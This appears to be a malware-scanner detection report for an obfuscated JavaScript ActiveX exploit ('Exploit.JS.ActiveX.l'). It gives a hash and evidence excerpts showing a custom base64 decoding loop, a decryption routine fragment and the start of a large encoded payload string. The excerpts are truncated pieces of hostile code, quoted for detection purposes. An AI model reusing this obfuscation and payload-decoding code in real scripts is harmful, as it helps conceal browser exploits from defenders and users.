Suspicious ^80% Download

Exploit.JS.ActiveX.l

ActiveX exploit with obfuscation

Custom b64 decoding loop w/ bitwise operationsLarge Base64-like string literal

SHA-25614502b43bbc4f272a7bf20839a0aa418b9795d302bc9e16d89445ee2ff3d9379

Evidence

Custom b64 decoding loop w/ bitwise operations lines 15–20

15:2… c2=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c2==-1);if(c2==-1)
16break;out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));do
17{c3=str.charCodeAt(i++)&0xff;if(c3==61)
18return out;c3=base64DecodeChars[c3]}while(i<len&&c3==-1);if(c3==-1)
19break;out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));do
20{c4=str.charCod …

Large Base64-like string literal lines 34–36

34:83… ;sum=sum-delta&0xffffffff;}
35return long2str(v,true);}
36t="o2LOyk3Jdxi7RG/uuYDQC0F2oaLtiveLKWEemnQ2TcYXfoGnxTR0HvUN8W7ScP2FTcAC6McaGet1HXPHwv7FssUIwUDCjpvgB7n51Edu73Dtbh+K+bsi0XPIGEO5/7N3SWGJmaAxB9mosF3I06zrf16pIOqM/l5XUXHPRo0cyCSoA2EZNKdE33CbfXJOvCSJDRaBqrXYybebNVM9m7jGTGiRkJ6f+sf3Bdk9FjITlhHal21qbDJtAzQUJSp6l+90pxRrG …